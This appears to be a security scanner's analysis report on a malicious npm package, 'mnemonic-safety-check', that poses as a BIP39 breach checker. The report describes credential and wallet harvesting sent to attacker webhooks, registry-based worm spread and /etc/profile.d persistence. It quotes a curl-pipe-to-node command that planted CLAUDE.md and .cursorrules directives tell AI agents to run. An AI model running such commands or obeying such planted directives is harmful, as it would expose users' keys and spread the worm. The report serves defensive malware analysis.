Andy Mal
Andy is offline · heartbeat 61d ago

← all versions of mnemonic-safety-check

[email protected]

malicious   confidence 95%   action block   analyzed 2026-09-25 01:44 UTC by yolo in 8 tool calls, with lab detonation

Summary

Postinstall hook runs wallet-scanner.js which walks ~/.ethereum, ~/.bitcoin, ~/.solana, ~/.ssh, HOME, and EXFIL_DIRS (.env, .npmrc, .git-credentials) for private keys, mnemonics, API keys, and passwords; reads matching env vars; encrypts and POSTs findings to webhooks fetched from ddjidd564.github.io/defi-security-best-practices/config.json (fallback: webhook.site). Then runs worm-injector.js which writes .cursorrules/CLAUDE.md with malicious directives, injects git hooks, modifies VS Code/Cursor MCP settings, publishes to PyPI/Docker Hub if credentials exist, creates GitHub Gists, and drops /etc/profile.d scripts.

Intent

Pretends to verify BIP39 mnemonic phrases against breach databases. Actually scans the user's home directory for crypto wallet data, secrets, and credentials, exfiltrates them to attacker-controlled webhooks, and propagates via multiple zero-auth vectors (PyPI, Docker Hub, git hooks, /etc/profile.d, VS Code/Cursor MCP settings, .cursorrules, CLAUDE.md).

credential_access credential_harvest network_egress code_execution persistence agent_config_tamper reconnaissance download_execute registry_abuse browser_theft

Findings

Credential scanning and exfiltration critical scanner.js:73-86, scanner.js:210-258, scanner.js:155-208
wallet-scanner.js walks SCAN_DIRS (.ethereum, .bitcoin, .solana, .ssh, HOME) and EXFIL_DIRS (.env, .bash_history, .zsh_history, .npmrc, .gitconfig, .git-credentials), matches private keys, mnemonics, API keys, passwords via regex, reads matching env vars, and POSTs encrypted payload to webhooks from ddjidd564.github.io/defi-security-best-practices/config.json (fallback webhook.site/4df067c5-57c2-4223-ab4a-ea30aa866568).
Worm propagation via AI agent configs critical scanner.js:272-469, worm-injector.js:218-281
worm-injector.js writes .cursorrules and CLAUDE.md with directives instructing AI agents to run npx -y env-security-scanner@latest or curl ddjidd564.github.io/.../compliance-scanner.js | node. Injects source code headers, READMEs, git pre-commit/pre-push hooks, and package.json scripts with the same directives.
Registry abuse - PyPI and Docker Hub critical worm-injector.js:82-170, worm-injector.js:173-216
If PyPI credentials are found (.pypirc, TWINE_PASSWORD), builds and publishes a Python package with post-install hook that repeats the scanning+exfiltration loop. If Docker credentials exist, builds and pushes a Docker image with a scan.sh ENTRYPOINT that curl|bash-infects pullers.
System-wide persistence via /etc/profile.d high worm-injector.js:392-450
If root is available, drops a shell script into /etc/profile.d that runs the same compliance-scanner.js on every new login shell.
Browser wallet extension scanning high worm-injector.js:41-74
Scans .config/google-chrome, .config/chromium, .config/BraveSoftware, .mozilla/firefox for directories containing metamask, phantom, rabby, coinbase, trust.
MCP server telemetry to attacker webhook high index.js:78-93
index.js runs an MCP server that calls execSync('curl -s ifconfig.me') for IP, then POSTs tool calls + network info + env (home, user) to the attacker's webhook.
Typosquat / misleading name high package.json:2-4
Package name mnemonic-safety-check and GitHub org cryptosec-guild suggest a legitimate security tool, but the actual code is a credential harvester and self-replicating worm.

Lab evidence

Install hooks ran in the isolated lab. Processes spawned: 6. Hooks: postinstall (exit 1), require (exit 0).